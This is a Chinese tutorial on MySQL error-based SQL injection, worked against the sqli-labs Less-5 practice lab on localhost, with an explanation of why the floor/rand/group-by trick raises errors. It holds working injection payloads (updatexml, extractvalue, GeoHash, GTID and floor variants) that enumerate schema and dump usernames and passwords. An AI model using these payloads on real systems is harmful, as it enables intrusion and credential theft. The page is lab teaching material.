SQL报错注入

君衍.

  • 一、sqllabs第五关报错注入
    • updatexml报错注入原理及思路
  • 二、常见的报错函数
  • 三、floor报错注入原理
    • 1、概念
    • 2、函数回顾
      • 2.1 rand函数
      • 2.2 floor(rand(0)*2)函数
      • 2.3 group by函数
      • 2.4 count(*)函数
      • 2.5 函数综合报错
    • 3、报错分析
    • 4、总结

一、sqllabs第五关报错注入

之前我在这篇文章SQL注入基础思路讲解了联合查询注入,使用union关键字,在数据的返回位置进行数据查询,所以这里我们对上面这篇博客进行补充:报错注入

这里我使用sqllabs第五关进行演示,首先,报错注入它的应用场景便是基于当前页面存在注入点,却没有返回任何数据的位置,使用union进行联合查询无效,无法显示数据,但是能回显出对数据库的报错信息,这时我们采用报错函数对数据进行读取注入:
在这里插入图片描述
这里我们可以在后台查看下源码,逐行说下

# 首先这里定义了SQL查询语句,从名为users的数据库表中选择所有列,id值就是给定的$id值
# 查询使用limit 0,1限制结果集只包含一条记录
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
# 这里执行SQL查询语句并将结果保存在$result变量中
$result=mysql_query($sql);
# 然后从查询结果中获取一行数据存储在$row数组中
$row = mysql_fetch_array($result);
# 这里主要判断是否成功获取一行数据if($row){echo '<font size="5" color="#FFFF00">';	echo 'You are in...........';echo "<br>";echo "</font>";}else {echo '<font size="3" color="#FFFF00">';print_r(mysql_error());# 主要这行代码,输出MySQL数据库错误信息echo "</br></font>";	echo '<font color= "#0000ff" font size= 3>';	}
}else { echo "Please input the ID as parameter with numeric value";}

在这里插入图片描述
所以此处,我们可以使用报错函数使之返回数据:

updatexml报错注入原理及思路

http://127.0.0.1/sqli7/Less-5/?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+

在这里插入图片描述
这里我们选择报错注入,所以也就涉及到了一个函数:updatexml函数
我们使用的是updatexml注入报错,这里我们就要去想updatexml为啥会报错?
首先updatexml的函数格式为updatexml(xml_doument,XPath_string,new_value);所以说这里我们需要认识到它三个参数的含义是什么?

  • 1、第一个参数其实就是XML的内容
  • 2、第二个参数就是需要更新update的位置XPATH路径
  • 3、第三个参数就是更新之后的内容

好的,认识上面三个参数之后,其实这里我们还需要知道,我们使用updatexml(1,concat(0x7e,(select user()),0x7e),1)为什么会显示出root@localhost?
了解到第一个参数以及第三个参数其实这两个参数是可以随便写的,它只需要利用第二个参数,来校验你输入的内容是否符合XPATH格式。
可能这里有人要问为什么要添加0x7e,这个是因为0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。如果不添加该不属于xpath格式的参数无法引发正确的报错。

所以这里我们就是利用updatexml函数的报错,来回显出我们想要查询出来的内容。好的,到这里我们一个报错函数的原理我们已经理解了,下面就是使用这个报错函数进行注入:

所以就老规矩,先查数据库名,再查表名,最后列名输出。
数据库名:

http://127.0.0.1/sqli7/Less-5/?id=1’ and updatexml(1,concat(0x7e,database(),0x7e),1)--+

在这里插入图片描述
原理:
在这里插入图片描述

表名:

http://127.0.0.1/sqli7/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)--+

在这里插入图片描述
原理:
在这里插入图片描述
列名:

http://127.0.0.1/sqli7/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

在这里插入图片描述
原理:
在这里插入图片描述
注入:

http://127.0.0.1/sqli7/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)--+

在这里插入图片描述
原理:
在这里插入图片描述
这里我们又看到查询回显内容很少,这里就因为updatexml报错最大只能容纳32个字节,所以这里我们就得想办法让它回显出所有内容,那么我们就要用到limit来分段显示:

http://127.0.0.1/sqli7/Less-5/?id=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+

在这里插入图片描述
原理:
在这里插入图片描述
到这里我们使用updatexml函数进行注入就已经完成了,下面我们来看看其他报错函数。
补充
对于报错注入回显限制问题我们共两个方案:

#1.用group_concat时使用substr进行字符串截取 其中"1,32"控制截取的起始与结束位置
and  updatexml(1,(select substr((group_concat(username,0x7e,password)),1,32) from users),1) --+#2.使用concat,利用limit(起始位置,截取数量) 函数进行结果截取(还是有可能回显到长度大于限制的数据导致无法显示,不推荐)
and  updatexml(1,(select concat(username,0x7e,password) from users limit 0,1),1) --+

二、常见的报错函数

这里注入思路就和一里面一样,SQL语句内部差不多,所以这里不过多赘述。
(如果里面有过滤还需绕过进行注入)
1、updatexml

updatexml(1,1,1) 一共可以接收三个参数,报错位置在第二个参数

使用方法:

?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

在这里插入图片描述
2、extractvalue

extractvalue(1,1) 一共可以接收两个参数,报错位置在第二个参数

使用方法:

http://127.0.0.1/sqli7/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select user()),0x7e))--+

在这里插入图片描述
3、ST_LatFromGeoHash()(mysql>=5.7.x)

?id=1' and ST_LatFromGeoHash(concat(0x7e,(select user()),0x7e))--+

在这里插入图片描述
4、 ST_LongFromGeoHash(mysql>=5.7.x)

?id=1' and ST_LongFromGeoHash(concat(0x7e,(select user()),0x7e))--+

在这里插入图片描述
5、GTID (MySQL >= 5.6.X - 显错<=200)
GTID:GTID是MySQL数据库每次提交事务后生成的一个全局事务标识符,GTID不仅在本服务器上是唯一的,其在复制拓扑中也是唯一的。
GTID_SUBSET() 和 GTID_SUBTRACT()函数可以拿来实现报错注入
函数原理:

  • GTID_SUBSET() 和 GTID_SUBTRACT() 函数,我们知道他的输入值是 GTIDset ,当输入有误时,就会报错
  • GTID_SUBSET( set1 , set2 ) - 若在 set1 中的 GTID,也在 set2 中,返回 true,否则返回 false ( set1 是 set2 的子集)
  • GTID_SUBTRACT( set1 , set2 ) - 返回在 set1 中,不在 set2 中的 GTID 集合 ( set1 与 set2 的差集)
#GTID_SUBSET函数
gtid_subset(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+
#GTID_SUBTRACT函数
gtid_subtract(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+

在这里插入图片描述

在这里插入图片描述
6、ST_Pointfromgeohash (mysql>=5.7)

?id=1' and  ST_PointFromGeoHash(version(),1)--+

在这里插入图片描述
7、floor注入

(select 1 from (select count(*),concat(回显查询位置,floor(rand(0)*2))x from information_schema.tables group by x)a)--+
  • 获取当前数据库
')or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
  • 获取表数据
')or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='test' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
  • 获取users表里的段名
')or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

三、floor报错注入原理

floor是mysql中的函数,而报错注入则是结合了这几个函数:groupby+rand+floor+count完成的注入。

1、概念

floor报错注入就是利用 select count(*),(floor(rand(0)*2))x from table group by x,导致数据库报错,通过 concat 函数,连接注入语句与 floor(rand(0)*2)函数,实现将注入结果与报错信息回显的注入方式。

2、函数回顾

下面我们来回顾下这几个函数:count、group by、floor、rand

2.1 rand函数

rand()可以产生一个在0和1之间的随机数
在这里插入图片描述
直接使用rand函数每次产生的数则不相同,但是如果我们提供了一个固定的随机数0之后:
在这里插入图片描述
这里我们可以看到值是固定的如果提供一个固定的0,这个随机数也可以称为伪随机(产生的数据都是可以预知的),我们这里可以查看多个数据:
在这里插入图片描述
在这里插入图片描述
这里我们可以看到产生第一次的随机数与第二次是完全一样的,好的,知道了rand函数我们下面看floor函数与rand函数配合使用。

2.2 floor(rand(0)*2)函数

首先floor函数作用就是返回小于等于括号内该值的最大整数。
同时,rand函数则是返回一个0到1之间的随机数,所以,floor(rand(0))产生的数只有0,这样也就不能实现报错了,所以这里我们需要乘以2,下面我们在数据库中查看下:
在这里插入图片描述
这样我们便可看到全为0,无法完成我们的报错,所以下面我们乘以2,使其返回0到2之间的随机数,然后配合floor()就可以产生确定的两个数,也就是0与1,如下图所示:
在这里插入图片描述
这里我们便可看到,它产生了一串固定的随机种子数列,为0 1 1 0 1 1 0 0 1 1 1 0 1,当然了光这两个函数配合还是无法实现我们的报错注入的,所以下面我们接着看group by函数。

2.3 group by函数

首先group by主要是用于对数据进行分组的,即相同的为一组。
下面我们来简单看下:
在这里插入图片描述
以上是users的原表,下面我们进行分组,同时使用别名来代替属性:
在这里插入图片描述
同时也可以省略as:
在这里插入图片描述
然后使用group by函数进行分组,按照x进行排序,同时需要注意的是最后x这列中显示的每一类只有一次,前面的a的是第一次出现的id值:
在这里插入图片描述

2.4 count(*)函数

count(*)统计结果的记录数
这里可以进行统计总共的数值,如下图所示:
在这里插入图片描述
这里就是对重复性的数据进行整合,然后计数,x为某一类的数量。

2.5 函数综合报错

select count(\*),floor(rand(0)\*2) x from users group by x;

在这里插入图片描述
这里我们根据前面几个函数来理解这个语句的意思,原本意思是统计后面产生随机数的种类并每种数量。分别产生我们可以在上面知晓。
产生的随机数:0 1 1 0 1 1 0 0 1 1 1 0 1
理论输出:
0 5
1 8
0是5个,1是8个,但是它最后却产生了错误,下面我们进行报错分析。

3、报错分析

首先MySQL遇到该语句时,会建立一个虚拟表,这个虚拟表有两个字段,一个是分组key,一个是计数值count(),也就是对应于实验中的username以及count()
然后在查询数据的时候,首先需要查看虚拟表中是否有这个分组,如果有,那么计数值加1,如果没有那么就创建一个这样的分组。同时,根据MySQL官方文档,在查询过程中如果使用rand(),那么这个值就会被计算多次。
**即为若使用group byfloor(rand(0)*2)会被执行一次,如果虚拟表不存在记录,插入虚表的时候会再被执行一次,我们可以看下floor(rand(0)*2)报错过程,原本floor(rand(0)*2)查询的值是固定的,而报错实际上是floor(rand(0)*2)被多次执行导致的,**如下:

1、查询前默认会创建空虚拟表如下:

在这里插入图片描述

2、取第一条记录,执行floor(rand(0)*2),发现结果为0(第一次计算)

在这里插入图片描述

3、查询虚拟表,发现0的键值不存在,则插入新的键值的时候floor(rand(0)*2)会被再计算一次,结果为1(第二次计算),插入虚表,这时第一条记录查询完毕

在这里插入图片描述

4、查询第二条记录,再次计算floor(rand(0)*2),发现结果为1(第三次计算)

在这里插入图片描述

5、查询虚表,发现1的键值存在,所以floor(rand(0)2)不会被计算第二次,直接count()加1,第二条记录查询完毕:

在这里插入图片描述

6、查询第三条记录,再次计算floor(rand(0)*2),发现结果为0(第4次计算)

在这里插入图片描述

7、查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)*2)被再次计算,1作为虚表的主键,其值为1(第5次计算),插入

在这里插入图片描述
到这里,我们会发现1这个主键已经存在过虚拟表中了,而新计算的值为1,之前我们已经有1了,这就与MySQL的主键值必须唯一相违背,所以就会报错。

4、总结

整个查询过程floor(rand(0)*2)被计算了5次,查询原数据表3次,所以这就是为什么数据表中需要最少3条数据,使用该语句才会报错的原因。

另外,要注意加入随机数种子的问题,如果没加入随机数种子或者加入其他的数,那么floor(rand()*2)产生的序列是不可测的,这样可能会出现正常插入的情况。最重要的是前面几条记录查询后不能让虚表存在0,1键值,如果存在了,那无论多少条记录,也都没办法报错,因为floor(rand()*2)不会再被计算做为虚表的键值,这也就是为什么不加随机因子有时候会报错,有时候不会报错的原因。

这里我们可以1来作为随机数种子,如下:
在这里插入图片描述
最后还需注意的是,我们采用报错注入从数据表中读取了三条有效的数据,如果有效数据不足三条的话,也是无法触发floor报错信息的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/655418.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

spring-bus消息总线的使用

文章目录 依赖bus应用接口用到的封装参数类 接收的应用监听器定义的事件类 使用bus定义bus远程调用A应用数据更新后通过bus数据同步给B应用 依赖 <dependency><groupId>org.springframework.cloud</groupId><artifactId>spring-cloud-starter-bus-amqp…

路由、组件目录存放

文章目录 单页应用程序&#xff1a;SPA- Single Page Application路由的介绍VuePouter的介绍VueRouted 的使用 组件目录存放问题&#xff08;组件分类&#xff09; 单页应用程序&#xff1a;SPA- Single Page Application 单页应用&#xff08;SPA&#xff09;:所有功能在一个…

动手学RAG:汽车知识问答

原文&#xff1a;动手学RAG&#xff1a;汽车知识问答 - 知乎 Part1 内容介绍 在自然语言处理领域&#xff0c;大型语言模型&#xff08;LLM&#xff09;如GPT-3、BERT等已经取得了显著的进展&#xff0c;它们能够生成连贯、自然的文本&#xff0c;回答问题&#xff0c;并执行…

Redis 面试题 | 20.精选Redis高频面试题

&#x1f90d; 前端开发工程师、技术日更博主、已过CET6 &#x1f368; 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 &#x1f560; 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 &#x1f35a; 蓝桥云课签约作者、上架课程《Vue.js 和 E…

ctfshow web72

下载源码&#xff1a; 开启环境&#xff1a; 本题设置了 open_basedir()&#xff0c;将php所能打开的文件限制在指定的目录树中&#xff0c;包括文件本身。 因为 ini_set() 也被限制了&#xff0c;所以 open_basedir() 不能用 ini_set() 重新设置绕过。 使用 php 伪协议 glob:…

上海亚商投顾:创业板指创调整新低,全市场超4800只个股下跌

上海亚商投顾前言&#xff1a;无惧大盘涨跌&#xff0c;解密龙虎榜资金&#xff0c;跟踪一线游资和机构资金动向&#xff0c;识别短期热点和强势个股。 一.市场情绪 沪指昨日震荡调整&#xff0c;创业板指午后跌超3%&#xff0c;深成指跌超2%&#xff0c;北证50指数跌逾6%。中…

msfconsole实战使用(结合靶场演示)

msfconsole实战使用 前言 MSFconsole&#xff08;Metasploit Framework Console&#xff09;是Metasploit框架的一部分&#xff0c;是一个功能强大的渗透测试工具。Metasploit框架是一个开源的安全工具&#xff0c;旨在开发、测试和执行针对计算机系统的攻击。MSFconsole是Me…

【Java IO 源码详解】: InputStream

本文主要从JDK 11 源码角度分析InputStream。 Java IO - 源码: InputStream InputStream 类实现关系InputStream 抽象类源码实现InputStreamFilterInputStreamByteArrayInputStreamBufferedInputStream 参考文章 InputStream 类实现关系 InputStream是输入字节流&#xff0c;具…

LabVIEW机械臂轨迹跟踪控制

介绍了一个使用LabVIEW开发的机械臂轨迹跟踪控制系统。该系统的主要目标是实现对机械臂运动轨迹的精确控制&#xff0c;使其能够按照预定路径进行精确移动。此系统特别适用于需要高精度位置控制的场合&#xff0c;如自动化装配、精密操作等。 为了实现LabVIEW环境下的机械臂轨迹…

【SpringBoot3】集成Knife4j、springdoc-openapi作为接口文档

一、什么是springdoc-openapi Springdoc-openapi 是一个用于生成 OpenAPI&#xff08;之前称为 Swagger&#xff09;文档的库&#xff0c;专为 Spring Boot 应用程序设计。它可以根据你的 Spring MVC 控制器、REST 控制器和其他 Spring Bean 自动生成 OpenAPI 文档&#xff0c…

ElasticSearch重建/创建/删除索引操作 - 第501篇

历史文章&#xff08;文章累计500&#xff09; 《国内最全的Spring Boot系列之一》 《国内最全的Spring Boot系列之二》 《国内最全的Spring Boot系列之三》 《国内最全的Spring Boot系列之四》 《国内最全的Spring Boot系列之五》 《国内最全的Spring Boot系列之六》 E…

解决InputStream流无法重复使用的问题

一.需求 现在有个需求&#xff0c;要通过InputStream流先去判断文件类型&#xff0c;然后再上传文件&#xff0c;这样就会用到两次InputStream。 二.问题 这个功能之前的同事已经做了一版&#xff0c;一直以为是正常的&#xff0c;毕竟都很久了&#xff0c;但是我用的时候发…

自然语言处理 TF-IDF

✅作者简介&#xff1a;人工智能专业本科在读&#xff0c;喜欢计算机与编程&#xff0c;写博客记录自己的学习历程。 &#x1f34e;个人主页&#xff1a;小嗷犬的个人主页 &#x1f34a;个人网站&#xff1a;小嗷犬的技术小站 &#x1f96d;个人信条&#xff1a;为天地立心&…

Cesium 问题:遇到加载Cesium时各组件飞出

致敬爱的读者&#xff1a;该问题出现后暂时未找到最优的解决方案&#xff0c;而是将所有组件状态均进行隐藏&#xff0c;大家如果有解决方案可以留言、评论大家一起探讨解决&#xff0c;欢迎大家踊跃说出自己的想法 文章目录 问题分析 问题 在加载 Cesium 时出现各组件的位置不…

论文笔记:多任务学习模型:渐进式分层提取(PLE)含pytorch实现

整理了RecSys2020 Progressive Layered Extraction : A Novel Multi-Task Learning Model for Personalized Recommendations&#xff09;论文的阅读笔记 背景模型代码 论文地址&#xff1a;PLE 背景 多任务学习&#xff08;multi-task learning&#xff0c;MTL&#xff09;&a…

防火墙路由

目录 1. 防火墙的智能选路 2. 策略路由 -- PBR 3. 智能选路 --- 全局路由策略 3.1 基于链路带宽的负载分担: 3.2 基于链路质量进行负载分担 3.3 基于链路权重进行负载分担 3.4 基于链路优先级的主备备份 1. 防火墙的智能选路 就近选路 --- 我们希望在访问不同运营商的服…

Vue2 通过.sync修饰符实现数据双向绑定

App.vue <template><div class"app"><buttonv-on:clickisShowtrue>退出按钮</button><BaseDialog:visible.syncisShow></BaseDialog></div> </template><script> import BaseDialog from "./components…

多符号表达式的共同子表达式提取教程

生成的符号表达式&#xff0c;可能会存在过于冗长的问题&#xff0c;且多个符号表达式中&#xff0c;有可能存在相同的计算部分&#xff0c;如果不进行处理&#xff0c;计算过程中会导致某些算式计算多次&#xff0c;从而影响计算效率。 那么多个符号表达式生成函数时&#xf…

[机器学习]KNN——K邻近算法实现

一.K邻近算法概念 二.代码实现 # 0. 引入依赖 import numpy as np import pandas as pd# 这里直接引入sklearn里的数据集&#xff0c;iris鸢尾花 from sklearn.datasets import load_iris from sklearn.model_selection import train_test_split # 切分数据集为训练集和测试…

2024年数学建模美赛 分析与编程

2024年数学建模美赛 分析与编程 1、本专栏将在2024年美赛题目公布后&#xff0c;进行深入分析&#xff0c;建议收藏&#xff1b; 2、本专栏对2023年赛题&#xff0c;其它题目分析详见专题讨论&#xff1b; 2023年数学建模美赛A题&#xff08;A drought stricken plant communi…